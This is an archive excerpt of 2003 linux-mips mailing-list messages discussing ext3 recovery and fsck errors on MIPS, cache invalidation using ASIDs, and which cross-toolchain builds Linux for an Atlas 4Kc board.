X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1982
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: brian@murphy.dk
Precedence: bulk
X-list: linux-mips

Hartvig Ekner wrote:

>Is there anybody with ext3 up and running who would volunteer to do a couple of unclean
>shutdowns and see if the recovery works without any fsck errors present afterwards?
>
>  
>

Works every time here:

EXT3-fs: INFO: recovery required on readonly 
filesystem.                       
EXT3-fs: write access will be enabled during 
recovery.                         
kjournald starting.  Commit interval 5 
seconds                                 
EXT3-fs: recovery 
complete.                                                    
EXT3-fs: mounted filesystem with ordered data 
mode.                            
VFS: Mounted root (ext3 filesystem) 
readonly.                                  
Freeing unused kernel memory: 64k 
freed                                        
modprobe: modprobe: Can't open dependencies file 
/lib/modules/2.4.21-pre4/modul)
INIT: version 2.84 
booting                                                     
Activating 
swap.                                                               
Adding Swap: 131532k swap-space (priority 
-1)                                  
Checking root file 
system...                                                   
fsck 1.27 
(8-Mar-2002)                                                         
/dev/hda2: clean, 34571/1235456 files, 175807/2469096 
blocks                   
EXT3 FS 2.4-0.9.19, 19 August 2002 on ide0(3,2), internal 
journal              
System time was Fri Apr 11 07:45:01 UTC 
2003.                                  

mqpro:~# e2fsck 
/dev/hda2                                                      
e2fsck 1.27 
(8-Mar-2002)                                                       
/dev/hda2: clean, 34565/1235456 files, 175809/2469096 
blocks                   
mqpro:~# e2fsck -f 
/dev/hda2                                                   
e2fsck 1.27 
(8-Mar-2002)                                                       
Pass 1: Checking inodes, blocks, and 
sizes                                     
Pass 2: Checking directory 
structure                                           
Pass 3: Checking directory 
connectivity                                        
Pass 4: Checking reference 
counts                                              
Pass 5: Checking group summary 
information                                     
/dev/hda2: 34565/1235456 files (1.1% non-contiguous), 175809/2469096 
blocks    
mqpro:~#


/Brian


From kevink@mips.com Fri Apr 11 09:09:24 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 09:09:25 +0100 (BST)
Received: from mx2.mips.com ([IPv6:::ffff:206.31.31.227]:7933 "EHLO
	mx2.mips.com") by linux-mips.org with ESMTP id <S8225196AbTDKIJY>;
	Fri, 11 Apr 2003 09:09:24 +0100
Received: from newman.mips.com (ns-dmz [206.31.31.225])
	by mx2.mips.com (8.12.5/8.12.5) with ESMTP id h3B89CUe024136;
	Fri, 11 Apr 2003 01:09:12 -0700 (PDT)
Received: from grendel (grendel [192.168.236.16])
	by newman.mips.com (8.9.3/8.9.0) with SMTP id BAA10536;
	Fri, 11 Apr 2003 01:09:09 -0700 (PDT)
Message-ID: <004a01c30002$b3b19480$10eca8c0@grendel>
From: "Kevin D. Kissell" <kevink@mips.com>
To: "Dominic Sweetman" <dom@mips.com>,
	"Ralf Baechle" <ralf@linux-mips.org>
Cc: "Mike Uhler" <uhler@mips.com>, "Jun Sun" <jsun@mvista.com>,
	<linux-mips@linux-mips.org>
References: <20030410220906.B519@linux-mips.org><200304102028.h3AKSf211575@uhler-linux.mips.com><20030410225212.A3294@linux-mips.org> <16022.24992.314581.716649@gladsmuir.mips.com>
Subject: Re: way selection bit for multi-way cache
Date: Fri, 11 Apr 2003 10:15:06 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
Return-Path: <kevink@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1983
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kevink@mips.com
Precedence: bulk
X-list: linux-mips

> Mike wrote:
> 
> > > I'm not sure what you mean by TLB translations required for hit
> > > cacheops.  If you mean the Index Writeback or Index Invalidate
> > > functions, note that you can (and should) use a kseg0 address to
> > > do this.
> 
> Mike was proposing a kseg0 address translating to the right physical
> address, and used with a hit-type cacheop.  I believe Ralf (and Linux)
> are just assuming that's no good because it doesn't work if you have
> cacheable memory above 512Mbytes physical address.

More importantly, it doesn't work in the case of virtually tagged caches,
such as those in the SB-1 and MIPS 20K.

> I wonder whether anything really bad would happen if you temporarily
> changed the (machine) ASID to that of the address space you wanted to
> invalidate?

I looked at that when we were investigating the aforementioned
issues with virtually-tagged I-caches.  It looked to me as if exceptions
can occur during the invalidation, and that processing those exceptions
can cause signals to be raised to the current process in a manner that 
assumes that the TLB and ASID are coherent and in sync with 
the scheduler.  It may be that just changing the ASID temporarily
would work - most of the time.  It may even be that, with a bit
of lashing down of state, disabling of interrupts, setting of flags
to be read by traps.c/signal.c, etc, etc, it could be made bulletproof.
But I don't think that the simple, obvious hack is safe.

            Kevin K.

From kevink@mips.com Fri Apr 11 09:21:23 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 09:21:24 +0100 (BST)
Received: from mx2.mips.com ([IPv6:::ffff:206.31.31.227]:4862 "EHLO
	mx2.mips.com") by linux-mips.org with ESMTP id <S8225196AbTDKIVX>;
	Fri, 11 Apr 2003 09:21:23 +0100
Received: from newman.mips.com (ns-dmz [206.31.31.225])
	by mx2.mips.com (8.12.5/8.12.5) with ESMTP id h3B8L8Ue024187;
	Fri, 11 Apr 2003 01:21:08 -0700 (PDT)
Received: from grendel (grendel [192.168.236.16])
	by newman.mips.com (8.9.3/8.9.0) with SMTP id BAA10938;
	Fri, 11 Apr 2003 01:21:06 -0700 (PDT)
Message-ID: <006001c30004$5ef3c8d0$10eca8c0@grendel>
From: "Kevin D. Kissell" <kevink@mips.com>
To: "Brian Murphy" <brian@murphy.dk>,
	"Hartvig Ekner" <hartvig@ekner.info>
Cc: <linux-mips@linux-mips.org>
References: <3E954651.C7AECB90@ekner.info> <20030410154050.GI5242@lug-owl.de> <3E95D16D.1671BA5A@ekner.info> <3E9673BF.2050808@murphy.dk>
Subject: Re: ext3 under MIPS?
Date: Fri, 11 Apr 2003 10:28:31 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
Return-Path: <kevink@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1984
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kevink@mips.com
Precedence: bulk
X-list: linux-mips

Could you guys please specify which endianness you're running?
This is just the sort of situation where that can end up being an issue.

----- Original Message ----- 
From: "Brian Murphy" <brian@murphy.dk>
To: "Hartvig Ekner" <hartvig@ekner.info>
Cc: <linux-mips@linux-mips.org>
Sent: Friday, April 11, 2003 9:50 AM
Subject: Re: ext3 under MIPS?


> Hartvig Ekner wrote:
> 
> >Is there anybody with ext3 up and running who would volunteer to do a couple of unclean
> >shutdowns and see if the recovery works without any fsck errors present afterwards?
> >
> >  
> >
> 
> Works every time here:
> 
> EXT3-fs: INFO: recovery required on readonly 
> filesystem.                       
> EXT3-fs: write access will be enabled during 
> recovery.                         
> kjournald starting.  Commit interval 5 
> seconds                                 
> EXT3-fs: recovery 
> complete.                                                    
> EXT3-fs: mounted filesystem with ordered data 
> mode.                            
> VFS: Mounted root (ext3 filesystem) 
> readonly.                                  
> Freeing unused kernel memory: 64k 
> freed                                        
> modprobe: modprobe: Can't open dependencies file 
> /lib/modules/2.4.21-pre4/modul)
> INIT: version 2.84 
> booting                                                     
> Activating 
> swap.                                                               
> Adding Swap: 131532k swap-space (priority 
> -1)                                  
> Checking root file 
> system...                                                   
> fsck 1.27 
> (8-Mar-2002)                                                         
> /dev/hda2: clean, 34571/1235456 files, 175807/2469096 
> blocks                   
> EXT3 FS 2.4-0.9.19, 19 August 2002 on ide0(3,2), internal 
> journal              
> System time was Fri Apr 11 07:45:01 UTC 
> 2003.                                  
> 
> mqpro:~# e2fsck 
> /dev/hda2                                                      
> e2fsck 1.27 
> (8-Mar-2002)                                                       
> /dev/hda2: clean, 34565/1235456 files, 175809/2469096 
> blocks                   
> mqpro:~# e2fsck -f 
> /dev/hda2                                                   
> e2fsck 1.27 
> (8-Mar-2002)                                                       
> Pass 1: Checking inodes, blocks, and 
> sizes                                     
> Pass 2: Checking directory 
> structure                                           
> Pass 3: Checking directory 
> connectivity                                        
> Pass 4: Checking reference 
> counts                                              
> Pass 5: Checking group summary 
> information                                     
> /dev/hda2: 34565/1235456 files (1.1% non-contiguous), 175809/2469096 
> blocks    
> mqpro:~#
> 
> 
> /Brian
> 
> 
> 

From brian@murphy.dk Fri Apr 11 09:25:20 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 09:25:21 +0100 (BST)
Received: from port48.ds1-vbr.adsl.cybercity.dk ([IPv6:::ffff:212.242.58.113]:45634
	"EHLO valis.localnet") by linux-mips.org with ESMTP
	id <S8225196AbTDKIZU>; Fri, 11 Apr 2003 09:25:20 +0100
Received: from murphy.dk (brm@brian.localnet [10.0.0.2])
	by valis.localnet (8.12.7/8.12.7/Debian-2) with ESMTP id h3B8P9Bs002195;
	Fri, 11 Apr 2003 10:25:09 +0200
Message-ID: <3E967BE5.80208@murphy.dk>
Date: Fri, 11 Apr 2003 10:25:09 +0200
From: Brian Murphy <brian@murphy.dk>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
MIME-Version: 1.0
To: "Kevin D. Kissell" <kevink@mips.com>
CC: Hartvig Ekner <hartvig@ekner.info>, linux-mips@linux-mips.org
Subject: Re: ext3 under MIPS?
References: <3E954651.C7AECB90@ekner.info> <20030410154050.GI5242@lug-owl.de> <3E95D16D.1671BA5A@ekner.info> <3E9673BF.2050808@murphy.dk> <006001c30004$5ef3c8d0$10eca8c0@grendel>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Return-Path: <brian@murphy.dk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1985
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: brian@murphy.dk
Precedence: bulk
X-list: linux-mips

Kevin D. Kissell wrote:

>Could you guys please specify which endianness you're running?
>  
>
Little.

/Brian


From michaelanburaj@hotmail.com Fri Apr 11 10:24:45 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 10:24:46 +0100 (BST)
Received: from bay1-f107.bay1.hotmail.com ([IPv6:::ffff:65.54.245.107]:42764
	"EHLO hotmail.com") by linux-mips.org with ESMTP
	id <S8225211AbTDKJYp>; Fri, 11 Apr 2003 10:24:45 +0100
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 11 Apr 2003 02:24:36 -0700
Received: from 4.43.152.130 by by1fd.bay1.hotmail.msn.com with HTTP;
	Fri, 11 Apr 2003 09:24:36 GMT
X-Originating-IP: [4.43.152.130]
X-Originating-Email: [michaelanburaj@hotmail.com]
From: "Michael Anburaj" <michaelanburaj@hotmail.com>
To: ralf@linux-mips.org
Cc: linux-mips@linux-mips.org
Subject: Re: Linux for MIPS Atlas 4Kc board
Date: Fri, 11 Apr 2003 02:24:36 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <BAY1-F107mJbJo9n2Lg00011ad3@hotmail.com>
X-OriginalArrivalTime: 11 Apr 2003 09:24:36.0974 (UTC) FILETIME=[2BBA40E0:01C3000C]
Return-Path: <michaelanburaj@hotmail.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1986
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: michaelanburaj@hotmail.com
Precedence: bulk
X-list: linux-mips

Hi,

Thanks Ralf.

I want this question to be answered.

Can I build linux on my Win98 machine for MIPS 4Kc Atlas board using 
mipsisa32-elf-gcc & make?

Please respondwith atmost details.

Thanks,
-Mike.






>From: Ralf Baechle <ralf@linux-mips.org>
>To: Michael Anburaj <michaelanburaj@hotmail.com>
>CC: linux-mips@linux-mips.org
>Subject: Re: Linux for MIPS Atlas 4Kc board
>Date: Thu, 10 Apr 2003 03:25:29 +0200
>
>On Wed, Apr 09, 2003 at 02:32:03PM -0700, Michael Anburaj wrote:
>
> > I am new to Linux. But I have a strong ARM & MIPS background with kernel
> > porting & other stuff.
> >
> > I want to get a higher-level view of the essential components of Linux 
>for
> > MIPS & documentation about the kernel. Please point me to documents on 
>the
> > net.
>
>I suggest http://www.linux-mips.org to get started.
>
> > Question 2:
> > Does Linux-MIPS support the MIPS Atlas board with 4Kc processor using
> > mipsisa32-elf build tool chain (Contain the appropriate HAL or BSP)? Is 
>so,
> > please point me to documents that gives the exact build steps for the 
>same.
>
>No.  You must use a Linux configuration of the tools, that's mips-linux.
>
> > Also do let me know if Cygwin over Win98 dev. environment is good for
> > building & developing with Linux-MIPS or do I need to have Linux 
>installed
> > on my dev. machine?
>
>I've never use Cygwin myself.  The reports I've received are a mixed bag
>ranging from extremly bad to very good.
>
>   Ralf


_________________________________________________________________
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
http://join.msn.com/?page=features/virus


From Geert.Uytterhoeven@sonycom.com Fri Apr 11 10:29:03 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 10:29:04 +0100 (BST)
Received: from mail2.sonytel.be ([IPv6:::ffff:195.0.45.172]:50320 "EHLO
	mail.sonytel.be") by linux-mips.org with ESMTP id <S8225211AbTDKJ3D>;
	Fri, 11 Apr 2003 10:29:03 +0100
Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.27])
	by mail.sonytel.be (8.9.0p/8.8.6) with ESMTP id LAA07536;
	Fri, 11 Apr 2003 11:28:37 +0200 (MET DST)
Date: Fri, 11 Apr 2003 11:28:51 +0200 (MEST)
From: Geert Uytterhoeven <geert@linux-m68k.org>
To: Michael Anburaj <michaelanburaj@hotmail.com>
cc: Ralf Baechle <ralf@linux-mips.org>,
	Linux/MIPS Development <linux-mips@linux-mips.org>
Subject: Re: Linux for MIPS Atlas 4Kc board
In-Reply-To: <BAY1-F107mJbJo9n2Lg00011ad3@hotmail.com>
Message-ID: <Pine.GSO.4.21.0304111128001.16390-100000@vervain.sonytel.be>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <Geert.Uytterhoeven@sonycom.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1987
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: geert@linux-m68k.org
Precedence: bulk
X-list: linux-mips

On Fri, 11 Apr 2003, Michael Anburaj wrote:
> Thanks Ralf.
> 
> I want this question to be answered.
> 
> Can I build linux on my Win98 machine for MIPS 4Kc Atlas board using 
> mipsisa32-elf-gcc & make?

No, you need mips-linux-gcc instead of mipsisa32-elf-gcc, as Ralf already told
you. mipsisa32-elf-gcc is not configured for building Linux kernels.

> >From: Ralf Baechle <ralf@linux-mips.org>
> >To: Michael Anburaj <michaelanburaj@hotmail.com>
> >CC: linux-mips@linux-mips.org
> >Subject: Re: Linux for MIPS Atlas 4Kc board
> >Date: Thu, 10 Apr 2003 03:25:29 +0200
> >
> >On Wed, Apr 09, 2003 at 02:32:03PM -0700, Michael Anburaj wrote:
> >
> > > I am new to Linux. But I have a strong ARM & MIPS background with kernel
> > > porting & other stuff.
> > >
> > > I want to get a higher-level view of the essential components of Linux 
> >for
> > > MIPS & documentation about the kernel. Please point me to documents on 
> >the
> > > net.
> >
> >I suggest http://www.linux-mips.org to get started.
> >
> > > Question 2:
> > > Does Linux-MIPS support the MIPS Atlas board with 4Kc processor using
> > > mipsisa32-elf build tool chain (Contain the appropriate HAL or BSP)? Is 
> >so,
> > > please point me to documents that gives the exact build steps for the 
> >same.
> >
> >No.  You must use a Linux configuration of the tools, that's mips-linux.
> >
> > > Also do let me know if Cygwin over Win98 dev. environment is good for
> > > building & developing with Linux-MIPS or do I need to have Linux 
> >installed
> > > on my dev. machine?
> >
> >I've never use Cygwin myself.  The reports I've received are a mixed bag
> >ranging from extremly bad to very good.

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds


From michaelanburaj@hotmail.com Fri Apr 11 10:48:56 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 10:48:57 +0100 (BST)
Received: from bay1-f134.bay1.hotmail.com ([IPv6:::ffff:65.54.245.134]:7178
	"EHLO hotmail.com") by linux-mips.org with ESMTP
	id <S8225211AbTDKJs4>; Fri, 11 Apr 2003 10:48:56 +0100
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 11 Apr 2003 02:48:48 -0700
Received: from 4.43.152.130 by by1fd.bay1.hotmail.msn.com with HTTP;
	Fri, 11 Apr 2003 09:48:48 GMT
X-Originating-IP: [4.43.152.130]
X-Originating-Email: [michaelanburaj@hotmail.com]
From: "Michael Anburaj" <michaelanburaj@hotmail.com>
To: ralf@linux-mips.org
Cc: linux-mips@linux-mips.org
Subject: Re: Linux for MIPS Atlas 4Kc board
Date: Fri, 11 Apr 2003 02:48:48 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <BAY1-F134egIqunLOyD0001794b@hotmail.com>
X-OriginalArrivalTime: 11 Apr 2003 09:48:48.0794 (UTC) FILETIME=[8D1467A0:01C3000F]
Return-Path: <michaelanburaj@hotmail.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1988
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: michaelanburaj@hotmail.com
Precedence: bulk
X-list: linux-mips

Hi Raf,

In /linux/Makefile I see references made to ./scripts/kconfig/conf

but when I take a look at the files inside ./scripts/kconfig/ I don't find 
any conf file instead conf.c

Am I missing some things?

Thanks,
-Mike.






>From: Ralf Baechle <ralf@linux-mips.org>
>To: Michael Anburaj <michaelanburaj@hotmail.com>
>CC: linux-mips@linux-mips.org
>Subject: Re: Linux for MIPS Atlas 4Kc board
>Date: Thu, 10 Apr 2003 03:25:29 +0200
>
>On Wed, Apr 09, 2003 at 02:32:03PM -0700, Michael Anburaj wrote:
>
> > I am new to Linux. But I have a strong ARM & MIPS background with kernel
> > porting & other stuff.
> >
> > I want to get a higher-level view of the essential components of Linux 
>for
> > MIPS & documentation about the kernel. Please point me to documents on 
>the
> > net.
>
>I suggest http://www.linux-mips.org to get started.
>
> > Question 2:
> > Does Linux-MIPS support the MIPS Atlas board with 4Kc processor using
> > mipsisa32-elf build tool chain (Contain the appropriate HAL or BSP)? Is 
>so,
> > please point me to documents that gives the exact build steps for the 
>same.
>
>No.  You must use a Linux configuration of the tools, that's mips-linux.
>
> > Also do let me know if Cygwin over Win98 dev. environment is good for
> > building & developing with Linux-MIPS or do I need to have Linux 
>installed
> > on my dev. machine?
>
>I've never use Cygwin myself.  The reports I've received are a mixed bag
>ranging from extremly bad to very good.
>
>   Ralf


_________________________________________________________________
Add photos to your e-mail with MSN 8. Get 2 months FREE*.  
http://join.msn.com/?page=features/featuredemail


From Geert.Uytterhoeven@sonycom.com Fri Apr 11 11:04:03 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 11:04:03 +0100 (BST)
Received: from mail2.sonytel.be ([IPv6:::ffff:195.0.45.172]:31651 "EHLO
	mail.sonytel.be") by linux-mips.org with ESMTP id <S8225211AbTDKKED>;
	Fri, 11 Apr 2003 11:04:03 +0100
Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.26])
	by mail.sonytel.be (8.9.0p/8.8.6) with ESMTP id MAA11373;
	Fri, 11 Apr 2003 12:03:50 +0200 (MET DST)
Date: Fri, 11 Apr 2003 12:04:03 +0200 (MEST)
From: Geert Uytterhoeven <geert@linux-m68k.org>
To: Michael Anburaj <michaelanburaj@hotmail.com>
cc: Linux/MIPS Development <linux-mips@linux-mips.org>
Subject: Re: Linux for MIPS Atlas 4Kc board
In-Reply-To: <BAY1-F124jn04x29xDb00011e0b@hotmail.com>
Message-ID: <Pine.GSO.4.21.0304111203070.16390-100000@vervain.sonytel.be>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <Geert.Uytterhoeven@sonycom.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1989
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: geert@linux-m68k.org
Precedence: bulk
X-list: linux-mips

On Fri, 11 Apr 2003, Michael Anburaj wrote:
> linux-mips & mips-linux... did not catch my eyes, sorry.
> 
> Let me know if mips-linux-gcc binaries for Windows is available for free? If 
> so, can you point me to the URL?
> 
> Or is it easy to build it on the cygwin env. on windows following 
> instructions given on the web? URL for the same?

No idea, I use real Unices only. Follow the instructions to build a
cross-compiler on http://www.linux-mips.org/.

> Thanks a lot, Thanks every body for helping me learn embedded-Linux.
> 
> >From: Geert Uytterhoeven <geert@linux-m68k.org>
> >To: Michael Anburaj <michaelanburaj@hotmail.com>
> >CC: Ralf Baechle <ralf@linux-mips.org>,        Linux/MIPS Development 
> ><linux-mips@linux-mips.org>
> >Subject: Re: Linux for MIPS Atlas 4Kc board
> >Date: Fri, 11 Apr 2003 11:28:51 +0200 (MEST)
> >
> >On Fri, 11 Apr 2003, Michael Anburaj wrote:
> > > Thanks Ralf.
> > >
> > > I want this question to be answered.
> > >
> > > Can I build linux on my Win98 machine for MIPS 4Kc Atlas board using
> > > mipsisa32-elf-gcc & make?
> >
> >No, you need mips-linux-gcc instead of mipsisa32-elf-gcc, as Ralf already 
> >told
> >you. mipsisa32-elf-gcc is not configured for building Linux kernels.
> >
> > > >From: Ralf Baechle <ralf@linux-mips.org>
> > > >To: Michael Anburaj <michaelanburaj@hotmail.com>
> > > >CC: linux-mips@linux-mips.org
> > > >Subject: Re: Linux for MIPS Atlas 4Kc board
> > > >Date: Thu, 10 Apr 2003 03:25:29 +0200
> > > >
> > > >On Wed, Apr 09, 2003 at 02:32:03PM -0700, Michael Anburaj wrote:
> > > >
> > > > > I am new to Linux. But I have a strong ARM & MIPS background with 
> >kernel
> > > > > porting & other stuff.
> > > > >
> > > > > I want to get a higher-level view of the essential components of 
> >Linux
> > > >for
> > > > > MIPS & documentation about the kernel. Please point me to documents 
> >on
> > > >the
> > > > > net.
> > > >
> > > >I suggest http://www.linux-mips.org to get started.
> > > >
> > > > > Question 2:
> > > > > Does Linux-MIPS support the MIPS Atlas board with 4Kc processor 
> >using
> > > > > mipsisa32-elf build tool chain (Contain the appropriate HAL or BSP)? 
> >Is
> > > >so,
> > > > > please point me to documents that gives the exact build steps for 
> >the
> > > >same.
> > > >
> > > >No.  You must use a Linux configuration of the tools, that's 
> >mips-linux.
> > > >
> > > > > Also do let me know if Cygwin over Win98 dev. environment is good 
> >for
> > > > > building & developing with Linux-MIPS or do I need to have Linux
> > > >installed
> > > > > on my dev. machine?
> > > >
> > > >I've never use Cygwin myself.  The reports I've received are a mixed 
> >bag
> > > >ranging from extremly bad to very good.

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds


From hartvig@ekner.info Fri Apr 11 11:05:24 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 11:05:25 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:44050 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225211AbTDKKFY>;
	Fri, 11 Apr 2003 11:05:24 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP
	id 07145B600; Fri, 11 Apr 2003 12:05:10 +0200 (CEST)
Message-ID: <3E969362.B50934A@ekner.info>
Date: Fri, 11 Apr 2003 12:05:22 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: ext3 under MIPS?
References: <3E954651.C7AECB90@ekner.info> <20030410154050.GI5242@lug-owl.de> <3E95D16D.1671BA5A@ekner.info> <20030411064754.GM5242@lug-owl.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1990
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

I think you are right, something else is wrong, very wrong, probably not related to ext3 recovery at all.
It might be as simple as the way I converted the root ext2 to ext3 was done wrongly. Take a look
here:

When the system starts up (after the fake crash) with root in RO mode, I get (as previously
explained):

Checking root filesystem
/dev/hdc2: Inodes that were part of a corrupted orphan linked list found.  [/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a -f /dev/hdc2
/dev/hdc2: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
        (i.e., without -a or -p options)
xxx The return code from fsck was 4
[FAILED]

*** An error occurred during the file system check.
*** Dropping you to a shell; the system will reboot
*** when you leave the shell.
Give root password for maintenance
(or type Control-D for normal startup):

I then login and run the fsck manually:

(Repair filesystem) 1 # fsck.ext3 -y /dev/hdc2
e2fsck 1.27 (8-Mar-2002)
/dev/hdc2 contains a file system with errors, check forced.
Pass 1: Checking inodes, blocks, and sizes
Inodes that were part of a corrupted orphan linked list found.  Fix? yes
Inode 653 was part of the orphaned inode list.  FIXED.
Inode 33040 was part of the orphaned inode list.  FIXED.
... stuff deleted
Inode 434395 was part of the orphaned inode list.  FIXED.
Inode 465769 was part of the orphaned inode list.  FIXED.
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information

/dev/hdc2: ***** FILE SYSTEM WAS MODIFIED *****
/dev/hdc2: 43937/513024 files (0.1% non-contiguous), 188654/1024002 blocks

Now one would believe the disk is fine, as in eg:

(Repair filesystem) 2 # fsck.ext3 -y /dev/hdc2
e2fsck 1.27 (8-Mar-2002)
/dev/hdc2: clean, 43937/513024 files, 188654/1024002 blocks

So, I thought everything was fine. WRONG. If I force another filesystem check, I get:

(Repair filesystem) 11 # fsck.ext3 -y -f /dev/hdc2
e2fsck 1.27 (8-Mar-2002)
Pass 1: Checking inodes, blocks, and sizes
Inodes that were part of a corrupted orphan linked list found.  Fix? yes

Inode 653 was part of the orphaned inode list.  FIXED.
Inode 33040 was part of the orphaned inode list.  FIXED.
Inode 33225 was part of the orphaned inode list.  FIXED.
Inode 70198 was part of the orphaned inode list.  FIXED.
Inode 129443 was part of the orphaned inode list.  FIXED.
...
Inode 434395 was part of the orphaned inode list.  FIXED.
Inode 465769 was part of the orphaned inode list.  FIXED.
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information

/dev/hdc2: ***** FILE SYSTEM WAS MODIFIED *****
/dev/hdc2: 43937/513024 files (0.1% non-contiguous), 188654/1024002 blocks

In short, exactly the same errors again. And if I force the check again, I get 100% identical
errors again. So something is fundamentally broken. Looking to what the system believes it has mounted:

(Repair filesystem) 14 # mount -l
/dev/hdc2 on / type ext3 (rw) []            <========= Is this really right?
none on /proc type proc (rw)

(Repair filesystem) 20 # more /proc/mounts
rootfs / rootfs rw 0 0                <=========== Is this really right?
/dev/root / ext3 ro 0 0
